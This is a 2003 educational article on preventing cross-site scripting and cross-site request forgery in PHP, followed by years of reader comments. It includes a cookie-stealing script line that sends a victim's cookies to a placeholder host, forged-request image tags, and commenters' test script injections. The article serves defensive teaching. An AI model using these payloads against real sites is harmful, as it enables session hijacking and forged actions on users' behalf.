About the Author

Chris Shiflett

Hi, I’m Chris: entrepreneur, community leader, husband, and father. I live and work in Boulder, CO.

Foiling Cross-Site Attacks

  • Published in PHP Architect on 14 Oct 2003
  • Last Updated 14 Oct 2003

This article explores two contrasting attack vectors, cross-site scripting (XSS) and cross-site request forgeries (CSRF). As you read this article, I hope you will not only learn some specific strategies for protecting against these specific attacks, but that you will also gain a deeper understanding of web application security principles in general.

Cross-Site Scripting

If you're a web developer, you've most likely heard about XSS. In fact, you may have already taken steps to protect your applications against XSS attacks. The effectiveness of such protective measures depends upon whether you're addressing the root cause of the problem or just a symptom, and of course how well you understand the problem in the first place. It is a common tendency to only address a specific exploit in much the same way that you might resolve a bug using a specific test case. With this strategy, a web developer's effort is less effective. You want to address the root cause of a problem whenever possible.

The fundamental error that yields XSS vulnerabilities is a blind trust of remote data (input). A general recommendation among web developers is to never trust user input, but protecting against XSS requires more, because any input can be dangerous. Examples of include posts on a forum, email displayed in a browser, an advertisement, stock quotes provided in a feed, and form data. For any useful application, there is going to be a lot of input, and this is the type of application that requires the most attention. The risk is not just that you trust the input, but that you assume it is safe to display to your users. You are trusted by your users, and XSS attacks exploit that trust.

To understand why displaying such data can be dangerous, consider a simple registration form where users provide a preferred username along with their email address, and their registration information is emailed to them once their account is created. The following form might be used to solicit this information:

<form action="/register.php" method="POST">
<p>Username: <input type="text" name="username" /></p>
<p>Email: <input type="text" name="email" /></p>
<p><input type="submit" value="Register" /></p>

Figure 1 illustrates how this form might appear in a browser.

Figure 1:

A Simple Registration Form

If the data sent by this form is not properly filtered, malicious users can send malicious data to register.php, and the only limit to what they can do is the limit of their creativity.

Consider if the registration data is stored in a database as follows:

$mysql = array();
$mysql['username'] = mysql_real_escape_string($_POST['username']);
$mysql['email'] = mysql_real_escape_string($_POST['email']);
$sql = "INSERT
        INTO    users (username, email)
        VALUES  ('{$mysql['username']}', '{$mysql['email']}')";

Hopefully the use of $_POST is conspicuous. Although $_POST['username'] and $_POST['email'] are escaped properly for MySQL, this example still demonstrates a blind trust of this data. With legitimate users, the dangers of this approach will remain hidden, and this is exactly how many web application vulnerabilities are born. Consider the following username:


Although it is easy to determine that this is not a valid username, the previous example demonstrates how the code that you write might not be so wise. Without input filtering, anything can end up in the database. Of course, the danger in the case of XSS is when this data is displayed to users.

Assume that this particular registration system has an administrative interface that is only accessible from the local network by authorized users. It is easy to assume that an application inaccessible from the outside is safe, and less effort might be invested in the security of such an application. Now, consider the code in Listing 1 that displays a list of registered users to authorized administrators.

Listing 1:

if ($_SESSION['admin']) {
    $sql = 'SELECT username, email
            FROM   users';
    $result = mysql_query($sql);
    while ($record = mysql_fetch_assoc($result)) {
        echo "    <tr>\n";
        echo "        <td>{$record['username']}</td>\n";
        echo "        <td>{$record['email']}</td>\n";
        echo "    </tr>\n";

If the data in the database is tainted, an administrator might be subjected to XSS by using this application. This risk is illustrated in Figure 2.

Figure 2:

XSS Can Penetrate Firewalls

This risk is even clearer if you consider a more malicious payload such as the following:

new Image().src =
    'http://example.org/steal.php?cookies=' +

If this is displayed to an administrator, the administrator's cookies will be sent to example.org. In this example, steal.php can access the cookies with $_GET['cookies']. Once captured, these cookies can be used to hijack the administrator's session.

Safeguarding Against XSS

There are a few guidelines that you can follow to help safeguard your applications against XSS attacks. Hopefully you can already predict a few of these.

Filter All Input
You must, without fail, filter all input. Inspect all input, and only allow valid data into your application.
Escape All Output
You should also escape all output. For data that is meant to be displayed as raw data and not interpreted as HTML, it must be escaped for the context of HTML.
Use Mature Solutions
When possible, use mature, existing solutions instead of trying to create your own. Functions like strip_tags() and htmlentities() are good choices.
Only Allow Safe Content
Instead of trying to predict what malicious data you want to reject, define your criteria for valid data, and force all input to abide by your guidelines. For example, if a user is supplying a last name, you might start by only allowing alphabetic characters and spaces, as these are safe. If you reject everything else, Berners-Lee and O'Reilly will be rejected, despite being valid last names. However, this problem is easily resolved. A quick change to also allow single quotes and hyphens is all you need to do. Over time, your input filtering techniques will be perfected.
Use a Naming Convention
There are many naming conventions that you can use to identify whether a particular variable is tainted. Choose whichever convention is most intuitive to you, and use it consistently in all of your development. A simple example is to initialize an array called $clean, and only store data in $clean once it has been filtered.

Cross-Site Request Forgeries

CSRF is an almost opposite type of attack. Rather than exploiting the trust that a user has for a particular site, CSRF exploits the trust that a site has for a particular user. In the case of XSS, the user is the victim. In the case of CSRF, the user is an accomplice.

Because CSRF involves a forged HTTP request, it is important to first understand a little bit about HTTP, the protocol that web clients and servers use to communicate. Web clients (browsers) send HTTP requests to web servers, and the servers return HTTP responses in reply. A request and its corresponding response make up an HTTP transaction. A basic example of an HTTP request is as follows:

GET / HTTP/1.1
Host: example.org

The URL being requested in this example is http://example.org/. Here is a slightly more realistic example of a request for this resource:

GET / HTTP/1.1
Host: example.org
User-Agent: Mozilla/1.4
Accept: text/xml, image/png, image/jpeg, image/gif, */*

This example demonstrates the use of two additional HTTP headers: User-Agent and Accept. The Host header, present in both examples, is required in HTTP/1.1. There are many HTTP headers that may be included in a request, and you might be familiar with referencing some of these in your code. PHP makes these available to you in the $_SERVER array as $_SERVER['HTTP_HOST'], $_SERVER['HTTP_USER_AGENT'], and $_SERVER['HTTP_ACCEPT']. For the remainder of this article, optional headers will be omitted for brevity in the examples.

The simplest example of a CSRF attack uses an <img> tag to initiate the forged request. To explain how this is possible, consider a request for http://example.org/ that prompts the following response:

HTTP/1.1 200 OK
Content-Length: 61
<img src="http://example.org/image.png" />

When a browser interprets the HTML content, it will send a GET request for each additional resource it needs to render the page. For example, after interpreting this response, an additional request is sent for the image:

GET /image.png HTTP/1.1
Host: example.org

The most important characteristic of this request is that it is identical to a request initiated directly by the user. This is because requests for images are no different than requests for any other URL. A resource is a resource.

Figure 3 illustrates how CSRF can abuse this behavior.

Figure 3:

A CSRF Attack Initiated from an Image

In order to appreciate the risk, consider a simple forum located at http://forum.example.org/ that provides the following form for adding a post:

<form action="/post.php">
<p>Subject: <input type="text" name="subject" /></p>
<p>Message: <textarea name="message"></textarea></p>
<p><input type="submit" value="Add Post" /></p>

If a user enters foo as the subject and bar as the message, an HTTP request similar to the following will be sent (assuming that the session identifier is propagated as a cookie):

GET /post.php?subject=foo&message=bar HTTP/1.1
Host: forum.example.org
Cookie: PHPSESSID=123456789

Consider the following <img> tag:

<img src="http://forum.example.org/post.php?subject=foo&message=bar" />

When a browser requests this image, the HTTP request will look identical to the previous example, including the PHPSESSID cookie. With a simple change to the URL, an attacker can modify the subject and message to be anything, even XSS. All the attacker must do to launch the attack is have the victim(s) visit a URL that contains this image, and the victim's browser will do the rest, all behind the scenes. The victim will likely be completely unaware of the attack.

More dangerous attacks might forge requests to purchase items or perform administrative tasks on a restricted intranet application. Consider an application located at that allows authorized users to terminate employees. Even with a flawless session management mechanism that is immune to impersonation, combined with the fact that this application cannot be accessed by users outside of the local network, a CSRF attack can avoid these safeguards with something as simple as the following:

<img src="" />

Figure 4 illustrates this particular attack and how it can be used to penetrate an otherwise secure local network.

Figure 4:

CSRF Can Penetrate Firewalls

The most challenging characteristic of CSRF is that a legitimate user is sending the request. Also, because it is unrealistic to rely on other web sites to disallow <img> tags, especially since the attacker could coerce the victim into visiting the attacker's own site, the problem must be addressed upon receipt. Preventing forged requests is unrealistic. Detecting them is essential.

Safeguarding Against CSRF

Safeguarding your applications against CSRF is a bit more challenging than safeguarding them against XSS attacks, but there are a few guidelines that you can follow.

Although it doesn't prevent CSRF, you should require POST for any request that performs an action. This also means using $_POST instead of $_REQUEST.
Require Verification
Although convenience is a hallmark of good design, if a single request can trigger an important action, the risk of CSRF is increased. For important actions, don't hesitate to ask the user for verification. For extremely sensitive actions, consider requiring the user to provide a password in order to authorize the action.
Use an Anti-CSRF Token
The root cause of CSRF is a failure to verify intent. In order to help verify intent, consider adding an anti-CSRF token to your forms. Consider Listing 2 as a substitute for the form used to post to forum.example.org. When a user requests this form, a new token is generated, saved in the user's session, and included in the form as a hidden form variable. Therefore, when a request is received by post.php, not only can $_POST['token'] be compared with $_SESSION['token'], but a timeout can also be applied to further minimize the risk. This tactic practically eliminates CSRF.

Listing 2:

$token = md5(uniqid(rand(), TRUE));
$_SESSION['token'] = $token;
$_SESSION['token_timestamp'] = time();
<form action="/post.php" method="POST">
<input type="hidden" name="token" value="<?php echo $token; ?>" />
<p>Subject: <input type="text" name="subject" /></p>
<p>Message: <textarea name="message"></textarea></p>
<p><input type="submit" value="Add Post" /></p>


I hope you now have a solid understanding of both XSS and CSRF. The key to web application security is to make life easy for the good guys and difficult for the bad guys. No application is completely secure, so try to focus on making attacks as difficult as possible.

Every obstacle helps.

About this article

Foiling Cross-Site Attacks was last updated on 14 Oct 2003. Follow me on Twitter.


1.Jim Plush wrote:

excellent article Chris,

I definately think the token in the form is a great idea.

Tue, 16 Nov 2004 at 22:10:59 GMT Link

2.Christopher Baus wrote:


This is a really good introduction to XSS which is a significant problem for web designers. It is all too often considered as an after thought.

After implementing much of the logic that you mention for filtering requests, I concluded that it would be best to handle this in a seperate application all together, and I set off to write one. The logic can be augmented with a reverse HTTP proxy. Your article is still good advice for PHP developers, it just means there is an extra layer of security between the firewall and the application. It is my opinion that the fewer number of rogue requests that reach the origin server the better.

-Christopher Baus

Wed, 01 Dec 2004 at 07:58:49 GMT Link

3.twist wrote:

Was completely unaware of CSRF, some guys over webmasterworld pointed me to your article. Very well written.

Sat, 15 Jan 2005 at 19:29:51 GMT Link

4.Jacob wrote:

Excellent article. I learned that any scripts that can cause problems should NOT use the GET method. I'm checking my code now!

Wed, 02 Feb 2005 at 17:49:34 GMT Link

5.squiggy wrote:

You should check out http://www.shocking.com/~rsnake/xss.html if you haven't already. It really goes into a lot of depth about how to bypass filters for XSS. It's better than any site I've seen out there on the topic.

Tue, 08 Mar 2005 at 04:11:37 GMT Link

6.Ruturaj Vartak wrote:


Nice One.. I think a little bit of more on Session hacking will do more good :)

Wed, 09 Mar 2005 at 10:29:00 GMT Link

7.Chris Shiflett wrote:

squiggy, I like that resource. I blogged about it a while back and included some links to other resources on XSS:


Mon, 14 Mar 2005 at 20:36:54 GMT Link

8.Ben Davies wrote:

That was definately an interesting article.

I have to say that I am a bit of a beginner in php but this article has definately opened my eyes with regards security.

I knew that validation was important but was not overly sure of why, until now.

Tue, 29 Mar 2005 at 16:46:47 GMT Link

9.<script>alert('just checking');</script> wrote:


Thu, 28 Apr 2005 at 19:29:41 GMT Link

10.jaydee wrote:

ok, now i'm starting to panic :( gotta go check on my pages now O.o

Fri, 29 Apr 2005 at 08:53:26 GMT Link

11.cyber-army wrote:

Nice Tutorial .. also visit my site at http://www.cyber-army.org

Wed, 04 May 2005 at 17:04:10 GMT Link

12.Philihp wrote:

excellent article. might be useful to those reading this to know that you can not depend on the HTTP REFERRER variable (in whatever CGI language you are using... PHP's i think is $_SERVER['HTTP_REFERRER']?). This variable is whatever the browser sends... The browser sends it automatically usually, although a specially crafted request can specify anything.

Tue, 14 Jun 2005 at 18:45:12 GMT Link

13.JAPHspam wrote:

I just like spam! I'm collocting junk email...

Thu, 16 Jun 2005 at 09:21:41 GMT Link

14.JAPHspam wrote:

I just like spam! I'm collocting junk email...

Thu, 16 Jun 2005 at 10:11:40 GMT Link

15.Peter wrote:

Excellent article - allowed a non-professional (me) to gather the basic information about common types of attacks. Thank you!

Tue, 26 Jul 2005 at 14:12:58 GMT Link

16.Ratna wrote:

very very nice tutorial.want more articles like this to educate people on secuirty.

Mon, 01 Aug 2005 at 09:17:38 GMT Link

17.Max wrote:

Excellent article!


Visit my site about celebrities:


Wed, 03 Aug 2005 at 16:44:22 GMT Link

18.ChinaBlue wrote:

hi so good your articles,i am come form china hacker,i hope make friends with you,my Emainl is pinxu520@163.com

let's chat the CSS,

Fri, 12 Aug 2005 at 00:21:41 GMT Link

19.Dustin Wish wrote:

Good Report! Well written.

Fri, 12 Aug 2005 at 13:41:03 GMT Link

20.Erock wrote:

I was already aware of this, but it's still an excellent read. EVERY developer should know about this stuff. Fantastic Article.

It would also be nice if something similar could be written up for ASP & ASP.NET. I REALLY want to know how to lock down my ASP sites in this manner. But I am just learning the language, and don't know of any md5() type of function.

Wed, 17 Aug 2005 at 16:40:14 GMT Link

21.miguzman wrote:

necesito algo en español

Tue, 30 Aug 2005 at 20:37:43 GMT Link

22.sdf wrote:


Mon, 05 Sep 2005 at 10:24:52 GMT Link

23.WhiteAcid wrote:

Using POST instead of GET doesn't greatly help matters. I could make an image with the source equal to http://www.evil.com/image.png?instruction=gohere. Then I could use cURL to create a POSTed request back to your site, forging my referer. If need be I could also steal your cookies to have the same session as you. This is harder to do of course as I'd need you to allow script tags (if I was to steal cookies), but it could work.

This is still a great article, I hadn't relised what could be done, I'll have to check my security once again.

Mon, 05 Sep 2005 at 14:07:35 GMT Link

24.Henke wrote:

A differnt way to force the use of your own forms(at least they must submit from a specific page) is to check the reffer, but it's not a good idea, the reffer can be altered by a proxy if used. And it's wortless if the xss hole is on the normal page

Wed, 14 Sep 2005 at 11:16:46 GMT Link

25.Jim wrote:

Chris, do you have a response to WhiteAcid's comment?

Mon, 24 Oct 2005 at 21:13:20 GMT Link

26.Chris Shiflett wrote:

Sure, his comment makes no sense. :-) Browsers request embedded resources such as images using GET. You can send a POST request all you want, but that's not CSRF. You need to get someone else to send a POST request of your choosing for that.

This scenario is possible (as the article mentions, but not at all in the way WhiteAcid describes), which is why using POST should be considered a Defense in Depth mechanism. It is not a substitute for the other safeguards. Using tokens is the strongest safeguard.

Mon, 24 Oct 2005 at 21:20:39 GMT Link

27.ZapTheDingbat wrote:

Thanks Chris

Its nice to see that there are some developers waking up to the dangers that XSS poses. I am delighted to see from the comments that others are taking the message away with them.

The methods that you sight to combat CSRF will avoid the use of IMG tag to issue GET requests that could subvert the web application. However, I fear this is a case of addressing a symptom rather than a problem.

A basic tenet that I preach it that CSRF is merely a subset of the consequences of XSS vulnerabilities. If an attacker can get script on the page, they have the freedom to do anything they wish in the context of that user (in the domain, one up from the TLD). This means that script can parse out a token, if required to construct a POST using XmlHttp objects.

A practical demonstration of this was seen with the XSS worm that propagated through MySpace profiles: http://fast.info/myspace/


email: http://www.zapthedingbat.com/email/

Fri, 28 Oct 2005 at 10:01:21 GMT Link

28.Chris Shiflett wrote:

Sam writes:

"A basic tenet that I preach it that CSRF is merely a subset of the consequences of XSS vulnerabilities."

A good friend of mine has this same perspective, but I disagree. CSRF is not a subset of XSS, because your applications can be vulnerable to CSRF without having a single XSS vulnerability.

The Myspace worm makes this distinction less clear, because the XSS vulnerability and the use of XMLHttpRequest allowed Samy to bypass the CSRF protection. I really wish people thought of it as a CSRF worm, because that's what it really is.

I have created similar worms in isolation without using any XSS exploits, and I believe that without proper education, we're doomed to see this type of attack in the wild.

Fri, 28 Oct 2005 at 16:46:30 GMT Link

29.crushmaster wrote:

Thanks for this Article. It helps a lot!

Thu, 10 Nov 2005 at 14:58:57 GMT Link

30.Jérémie wrote:

Thanks, it did help me a lot!

Mon, 21 Nov 2005 at 20:15:24 GMT Link

31.Markus wrote:

Thanks for this Article. It helps a lot!

Tue, 22 Nov 2005 at 18:02:00 GMT Link

32.player domina wrote:

nice tutorial... i enjoy and learn a lot !

<h1>GOOD WORK!</h1>

Thu, 08 Dec 2005 at 19:17:39 GMT Link

33.Felix wrote:

When composing you web aplication one should use unstandard paths and representation. For example one can create Administration panel on site.com/admin/ - and it will be very dangerous. But for example placing panel in site.com/893admin_hidden/ will be already safe.


Web programmer


Sat, 10 Dec 2005 at 16:51:45 GMT Link

34.Joe wrote:

If you guys liked the article, wait till you read his book!! (Essential PHP security) Eye-opener is an understatement. If it is not asking for too much, maybe the next edition could have a CD accompanying the book (or easier still, a companion webpage or website) with several and varied easy-to-use _exploit_ _examples_. Or probably, the best way for developers to get security conscious is to experiment and try out :-) Also, the number and nature of security vulnerabilities found in common PHP applications (See http://www.securityfocus.com/vulnerabilities) makes it very important that security awareness gets to PHP developers as early as possible. PHP's ease of learning betrays the amount of work needed to make a secure, real-world application in PHP. The earlier that secure practices are picked up, the better for everyone.

Thanks to Chris for a great book.

Wed, 18 Jan 2006 at 15:40:28 GMT Link

35.Chris Shiflett wrote:

Hi Joe,

I'm so glad to hear you liked the book. There is a companion web site, and it has code, errata, reviews, and such:


Thanks very much for the kind words. I really appreciate it. :-)

Thu, 19 Jan 2006 at 17:51:31 GMT Link

36.Praveen Kumar M wrote:

<script>alert('Oh No!');</script>

Tue, 07 Feb 2006 at 11:12:01 GMT Link

37.nice try wrote:

shows this form is protected

Fri, 10 Feb 2006 at 21:16:29 GMT Link

38.Arian wrote:

1. Good work, Chris. I need to update my material to reference yours. I found you a while back (03) and lost the links and referred to you as "some guy in the PHP community was talking about CSRF at the same time as..."

2. CSRF is *clearly* not XSS. I am suprised Zap missed this, his advisories sound on.

3. For people confused about CSRF, in 2005 ebay was attacked by CSRF's propogated through email and a few embedded links...to submit bid incrementation values.


4. Myspace != XSS. We need a better classification system. I have an umbrella I carry around called "abitrary script injection" because in-site (myspace), offsite (xss), around-site (iframe XSS-Proxy style, google Anton Rager's XSS proxy, Jeremiah Grossman's 'Phishing Superbait', or our Paraegis project's upcomming C# XSS controller), it is all bad and it is all related but attack surface is not the same.

5. For people wanting ASP.NET info, MS has a ton of stuff, and I'll have more stuff soon you should be able to find linked off of my site.


Sat, 18 Feb 2006 at 17:25:14 GMT Link

39.Chris Shiflett wrote:

Hi Arian,

Thanks for the feedback!

I need to update this article. It's still relevant, but it's quite old, and I think I can explain things more clearly.

You're right that XSS and CSRF are entirely different. I personally think the term CSRF is descriptive enough (I don't like the effort to promote the term session riding as a replacement), but it is unfortunate that it's so often confused to be the same as XSS. As you point out, you can be vulnerable to CSRF without having any XSS vulnerabilities. :-)

The MySpace attack is interesting, because it uses XSS and CSRF in combination. I'm not sure we need another name for this, but we do need to promote the fact that all of the attention on Ajax is going to result in more sophisticated XSS attacks, because more people are interested in it. In fact, it's almost impossible to adequately protect against CSRF if your app has any XSS vulnerabilities.

Fri, 03 Mar 2006 at 15:27:14 GMT Link

40.Edward Gonzales wrote:

very informative. you woke me up from unawareness of web development security. thanks!

Sat, 08 Apr 2006 at 08:01:26 GMT Link

41.Cameron Manderson wrote:

The token relies on a single flow to the web application (one window linear form->submit->form->submit), if you were to have two windows open in a session it is most likely to cause some issues (eg. form->form->submit->submit [in seperate windows/threads]). This might also happen with back buttons etc.

Maybe an inclusion of the form name (or issue an form ID each time) into the form and token so that the form is uniquely identified; eg.


$formId = md5(uniqid(rand(), true));

$token = md5(uniqid(rand(), true)); // Possibly include formId in md5?

$_SESSION[$formId]['token'] = $token;

$_SESSION[$formId]['token_timestamp'] = time();



<input type="hidden" value="<?php echo $formId; ?>" name="formId"/>

<input type="hidden" value="<?php echo $token; ?>" name="token"/>



Then you can check the relevant FormID vs the Token allowing you to have several tokens issued for different forms that may be working in several different tabs across the same session.



Fri, 16 Jun 2006 at 00:34:35 GMT Link

42.adrian murphy wrote:

What about security images?

I use php-captcha on most of my forms.

Of course this is an issue for blind people but i recently came accross a site where you could also download an audio file of the security image code.

Tue, 27 Jun 2006 at 14:30:13 GMT Link

43.Varun wrote:

In Listing 2 of Cross-Site Request Forgeries in your article it would be slightly safer if the tokens were form specific and not session specific.

In the current scenario the window of oppurtunity available to an attacker is slightly wider because a CSRF attack will succeed if the victim has the vulnerable web application open in another tab (or window). When the CSRF HTTP request is triggered then the browser will also send the tokens automatically.

A safer approach would be to embed the token as a hidden field in the form to be protected. Thus the correct token would be sent if and only if that form is explicitly used to submit the request, unless of course the attacker succeeds in guessing the random token.

Wed, 05 Jul 2006 at 12:16:02 GMT Link

44.Chris Shiflett wrote:

Varun, if the one-time token was only uniquely associated with a particular form instead of also being uniquely associated with a particular user, an attacker could simply visit the form to obtain a valid token. This is not a safe approach.

The one-time token is indeed included as a hidden form variable. I think you might want to read more carefully. :-)

Wed, 05 Jul 2006 at 13:49:09 GMT Link

45.Someone wrote:

I use custom cookie-based authentication. I avoid server session cookies as those are expected and attackers can forge them.

In these custom cookies I store randomly generated 32-chars long string that, along with the user's ID, validates the user. Each click (each page request) generates new string.

The string is also stored in database, so on each request the string from the cookie is compared with the string from the database.

The string is valid only between two clicks (page requests). If unequal, the scripts will immediately log out the user under specified ID, and clear both teh cookie and database stored string.

This I believe is a strong measure, both to authenticate users and to prevent CSRF attacks.

The only way a CSRF attack can be made is to force the user to visit a forged page between two page requests from the server upon which teh attack is being made, which is rather difficult. However, coupled with XSS prevention - thatis preventing malicious code being inserted in posts and user-made dynamic content, it should be strong.

Mon, 10 Jul 2006 at 10:05:57 GMT Link

46.escman wrote:

Chris Shiflett, can you please confirm, that it is not possible to POST to a php document from within an <img> tag ?

Wed, 09 Aug 2006 at 19:25:06 GMT Link

47.Tom Payerle wrote:

Very good article, with general appeal. I'm a Perl person

myself, but very informative, and the CSRF discussion was very illuminating. Even in Perl, with fairly good built-in taint controls, I've seen a bunch of web app authors that don't even bother:(

I confess it took a couple of reads to realize the distinction between XSS and CSRF, especially since XSS holes are likely to be a good place to launch CSRF attacks. To some extent, safeguarding against CSRF is sort of defending against other people's XSS flaws (although agree that CSRF can be exploited without XSS)

I do not see Varun's point, however. If I have a window open to the form in the app protected by a token, and with

another I visit some malicious web site and have malicious javascript running, yes, the script may be able to find the token hidden variable in the other window and send it, but that seems difficult and unlikely. (I am not positive javascript allows that, but we will assume my browser doesn't do js security properly)

If the window in the app is not open to the form in question, the malicious script can post to the backend for the form, and will send the cookie and so steal the session from the other window, but it will not be sending as a post variable the correct token, since that information is not known to the browser except as a hidden variable in the form. (I guess the browser may cache this, which means a clever script might be able to access, but even then it is only useful if the form was opened legitimately within the token expiration period).

The token suggestion is not foolproof, but certainly raises the bar significantly.

Wed, 30 Aug 2006 at 20:00:34 GMT Link

48.Jeremiah Blatz wrote:

Using a single token like you described will prevent XSRF, but it has the disadvantage of breaking in parallel browsing (two browser windows). I've noodled over this one a bit, and came up with a more flexible solution that allows multiple browser windows, but also is more difficult to implement.

On each page, canonicalize the URL, then include a hidden field/additional GET parameter in links (GET parameter optional, if you don't care about XS GET requests) that's a hash of the URL and some other good stuff (something unique to the user, a random number stored in the session, session id, a secret on the web server, etc. You need at least one thing that's unique to the user/session. Have to be a little careful not to leak info. I think a big chunk of random data stored in the session is probably the best choice.). On page load for pages that you care about XSR, you hash each allowed canonical URL and the "good stuff" and check for a match.

Wed, 11 Oct 2006 at 19:17:47 GMT Link

49.Duck Destructor wrote:

I'm new to this business, and the whole issue scares the sh*t out of me.

However, I get the impression that at least in the case of XSS all you have to do is remove angle brackets from foreign data. Granted that some web apps need to allow for angle brackets, but most of the stuff I do doesn't. And because security is such a problem I am quite willing to withold non-critical functionality if I can completely side-step the XSS issue. For example I can't see any need to allow these comments href abilities. Sod my convenience: I should be forced to do a little copy & pasting.

Am I right to think that stripping angle brackets is enough?

In anycase its not the angle brackets, anyway, its the ducks. Ducks are the trouble. Why don't you know that? Shoot dem damned ducks!

Fri, 05 Jan 2007 at 07:29:33 GMT Link

50.Thomas Solar wrote:

Thx. very nice tutorials and nice pics so also a non-pro will understand it. i am long time in webdesign now. but dev is always done by partner. i showed this article to him and he was impressed.

keep up the good work.

Sun, 14 Jan 2007 at 20:01:18 GMT Link

51.Daniel wrote:

Thxs Chris for the hints for safeguarding against XSS.

I came along wmw and don't care a lot about xss in the last months - think, it's time to go deeper into the XSS-thing again!

Sun, 28 Jan 2007 at 13:42:05 GMT Link

52.Flo Fanvideos wrote:

Thanks Chris for this nice tutorials.

Thu, 22 Feb 2007 at 14:21:40 GMT Link

53.Confused wrote:

Correct me If I am wrong,

But couldnt you get the user to visit a URL which had embedded Javascript that used XMLRequest to first visit the form and grab the token, then use that token to submit the POST request?

This unique token stuff is far far far from secure... you are deluding people into believing their forms are secure.

Sun, 01 Apr 2007 at 10:59:45 GMT Link

54.Confused wrote:

Ok ignore my previous post, I just learned that XMLRequest does not work across different domains :)

Sun, 01 Apr 2007 at 11:08:20 GMT Link

55.Chris Shiflett wrote:

Hi Confused,

No worries. Your point is still valid if XSS vulnerabilities exist on the target site.

This is something I've written about in my blog, and it's one of the reasons I chose to write about both XSS and CSRF in the same article.

Sun, 01 Apr 2007 at 13:17:48 GMT Link

56.Some Guy wrote:

Interesting article, but there are several flaws with the suggestions.

Doing a verification of a submit, a "Are you sure you want to delete?", is just as easy to bypass as the original form. The exploiter will just pass whatever param is needed in order to fool the app into thinking that the request has been "confirmed", for example 'reallydelete=yes'.

To really secure it, you don't want to resubmit the request information with the confirmation information. To explain, I want to delete an employee, I submit the request, and then page I get back should not have that 'action=delete&employee=id' hidden in the form. That data should be stored on the server, and a unique id be associated with it and hidden on the form. This means that if there is no request on the server, then no one can be tricked into confirming it.

The token you present is a good idea and could be combined with the above idea.

Lastly, relying on Post to secure your app is inefficient and deceptive. You have limited the application to not having any functional links, only forms with hidden variables. Combined with the above 'confirmation forms' this is not terrible, but it seems more like a placebo then a fix. Remember that it is perfectly legitimate to have get data in your form url request and that it is possible to post across domains.

Less false blankets would be nice.

Mon, 09 Apr 2007 at 17:11:58 GMT Link

57.Chris Shiflett wrote:

Hi Some Guy,

Thanks for commenting.

Interesting article, but there are several flaws with the suggestions.

Your criticism is based upon a straw man argument. You present a flawed implementation of one of the ideas presented in this article (requiring verification) and then provide an implementation sans flaws.

This is good for offering clarity (thanks for that), but it doesn't offer any evidence to support your claim that the article has flaws, since the flaws are only present in your comment.

Lastly, relying on Post to secure your app is inefficient and deceptive.

This is another poor interpretation. I assume you are referring to the following suggestion:

Although it doesn't prevent CSRF, you should require POST for any request that performs an action. This also means using $_POST instead of $_REQUEST.

Is this unclear? It seems very clear to me, but I welcome suggestions for improvement.

Wed, 18 Apr 2007 at 17:48:43 GMT Link

58.Marcus wrote:

This is an excellent article, Mr. Shiflett. I had no clue that even with a perfect session management system and 256 trillion bit encryption, my applications still aren't 100% gypsie proof. There's one thing that I don't understand. How would someone pull off a CRSF attack using POST. Could someone give me an example of this?

Fri, 11 May 2007 at 02:40:04 GMT Link

59.Chris Shiflett wrote:

Hi Marcus,

Here's an example of a CSRF attack that uses POST:


I also have a temporary demo of this attack available:


Hope that helps!

Fri, 11 May 2007 at 14:19:12 GMT Link

60.Baby Wah Wah wrote:

What happened to the formatting on this? It's completely unreadable now.

Tue, 05 Jun 2007 at 06:22:26 GMT Link

61.Chris Shiflett wrote:

Looks fine to me. What makes it unreadable?

Tue, 05 Jun 2007 at 13:21:14 GMT Link

62.Baby Wah Wah wrote:

Looks fine for the first couple of paragraphs and then it turns into jumbo type.



W3 validator fails due to the presence of some garbage byte in the comments. BBEdit syntax check finds a lot of open image tags which your preferred doctype does not allow for. Haven't looked any more closely than that, but something is definitely wrong.

Wed, 06 Jun 2007 at 21:41:49 GMT Link

63.Alex wrote:

Brilliant work. I think this could change some things.

Mon, 18 Jun 2007 at 10:35:47 GMT Link

64.Curious wrote:

I have worry for my website. If the src attribute references an external url. Is it possible to send back javascript that can execute?

Thu, 21 Jun 2007 at 19:09:44 GMT Link

65.Hellclanner Strife wrote:

didn't know what is XSS till someone XSS-attacked my site and listed my site's vulnerability on XSSed.com. Even though I didn't know what was XSS before, some security system was added to prevent hackers.

anyway thanks for the explanation and solutions given out. wonderful diagram done. xD

Tue, 25 Sep 2007 at 08:34:52 GMT Link

66.Danny Ross wrote:

That was definitely an interesting article.

I have to say that I am a bit of a beginner in php but this article has definately opened my eyes regards security.

I knew that validation was important but was not overly sure of why, until now.

I'm going to use this new information on my website about computer drivers

Fri, 05 Oct 2007 at 13:07:19 GMT Link

67.Sebastian Nielsen wrote:

I think its a bad idea to rerequire password when user is already authenticated.

A better method to prevent CSRF is to provide a token, both a hidden one and a visible one. The visible token could be a CAPTCHA image and the user has to CAPTCHA-authenticate. Since a javascript or a software cannot solve a captcha, both XSS and CSRF are prevented

And lock your tokens to IP number, and you have prevented most of the XSS attacks too.

Mon, 30 Jun 2008 at 17:31:31 GMT Link

68.Vahagn wrote:

Hello Chris,

Thank you for a good article. I have a question.

As I understand the only performer of CSRF is always the victim itself (from her computer, from her browser) and nobody else (I mean no remote calls are possible).

Am I right ?

Wed, 11 Nov 2009 at 06:10:29 GMT Link

69.Brian wrote:

Less false blankets would be nice.

For someone so confident of his own ability and so quick to criticize, you sure are wrong on many levels. First you say Chris's verification suggestion is wrong, even though the very next sentence he mentions password verification which would foil a CSRF attack.

Next you say that Chris tells you not to use $_GET. First, he does not tell you not to use get, just not to use $_GET to change application state. Second, even if he did there are many legitimate reasons not to use $_GET including people simply misusing $_GET, or even search engine unfriendliness. Note many well known PHP frameworks like CodeIgniter completely disable $_GET. This is not saying that it's wrong to use $_GET or that not using $_GET makes your application secure, but it is easier for a hacker or bot to abuse $_GET. So in fact you are wrong two ways, first that Chris never suggests not using $_GET and second that even if he did you can make a legitimate case for not using $_GET at all.

Finally, you misunderstand computer security. You seem to interpret security vulnerabilities in terms of "bugs" and "fixes" or holes in applications. This is why you see Chris's "verification" idea as "wrong" because you see in one (naive) implementation, it is trivial to bypass. However, there's a lot of script kiddies who are more annoyance than dangerous, who would be hindered by even trivial roadblocks. This is why it's not wrong to suggest security by obscurity or trivial countermeasures (especially in an article which mentions tougher countermeasures).

Security is not about medicine or placebos, but insurance and roadblocks (if you must use a metaphor). You seem to think that any countermeasure which can be bypassed is "wrong" or a "false blanket" when all security is a tradeoff between usability and safety. To use another high level metaphor, with your philosophy mall security would be useless because we have police, but of course that is false.

